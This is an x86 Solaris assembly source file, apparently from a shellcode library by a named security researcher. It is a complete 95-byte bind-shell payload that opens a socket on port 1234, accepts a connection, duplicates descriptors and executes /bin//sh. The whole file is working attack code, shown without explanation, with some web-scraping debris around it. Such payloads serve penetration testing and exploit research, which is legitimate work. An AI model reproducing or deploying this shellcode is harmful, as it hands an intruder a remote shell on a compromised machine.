102 lines
2.4 KiB
ArmAsm
102 lines
2.4 KiB
ArmAsm
/*
|
|
* $Id: sol-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
|
*
|
|
* sol-x86-bndsockcode.s
|
|
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
|
*
|
|
* This library is free software; you can redistribute it and/or
|
|
* modify it under the terms of the GNU Lesser General Public
|
|
* License as published by the Free Software Foundation; either
|
|
* version 2.1 of the License, or (at your option) any later version.
|
|
*
|
|
* This library is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
* Lesser General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU Lesser General Public
|
|
* License along with this library; if not, write to the Free Software
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
*
|
|
*/
|
|
|
|
/*
|
|
* Socket versions. Used by the socket library when calling _so_socket().
|
|
*/
|
|
#define SOV_STREAM 0 /* Not a socket - just a stream */
|
|
#define SOV_DEFAULT 1 /* Select based on so_default_version */
|
|
#define SOV_SOCKSTREAM 2 /* Socket plus streams operations */
|
|
#define SOV_SOCKBSD 3 /* Socket with no streams operations */
|
|
#define SOV_XPG4_2 4 /* Xnet socket */
|
|
|
|
.global _start
|
|
|
|
_start:
|
|
|
|
# 95 bytes
|
|
|
|
syscallcode:
|
|
pushl $0x3cffd8ff
|
|
pushl $0x65
|
|
movl %esp,%esi
|
|
notl 0x04(%esi)
|
|
notb (%esi)
|
|
|
|
bndsockcode:
|
|
xorl %eax,%eax
|
|
pushl %eax
|
|
pushl $0xd20402ff
|
|
movl %esp,%edi
|
|
|
|
pushl $0x02 /* SOV_SOCKSTREAM */
|
|
pushl %eax
|
|
pushl %eax
|
|
pushl $0x02
|
|
pushl $0x02 /* Used as SOV_SOCKSTREAM when calling bind() */
|
|
movb $0xe6,%al
|
|
call *%esi
|
|
|
|
pushl $0x10
|
|
pushl %edi
|
|
pushl %eax
|
|
xorl %eax,%eax
|
|
movb $0xe8,%al
|
|
call *%esi
|
|
|
|
popl %ebx
|
|
pushl %eax
|
|
pushl %eax
|
|
pushl %ebx
|
|
movb $0xe9,%al
|
|
call *%esi
|
|
|
|
movb $0xea,%al
|
|
call *%esi
|
|
|
|
pushl $0x09
|
|
pushl %eax
|
|
|
|
0:
|
|
pushl $0x3e
|
|
popl %eax
|
|
call *%esi
|
|
|
|
decl -0x28(%edi)
|
|
jns 0b
|
|
|
|
shellcode:
|
|
# xorl %eax,%eax
|
|
pushl %eax
|
|
pushl $0x68732f2f
|
|
pushl $0x6e69622f
|
|
movl %esp,%ebx
|
|
pushl %eax
|
|
pushl %ebx
|
|
movl %esp,%ecx
|
|
pushl %eax
|
|
pushl %ecx
|
|
pushl %ebx
|
|
movb $0x3b,%al
|
|
call *%esi
|
|
|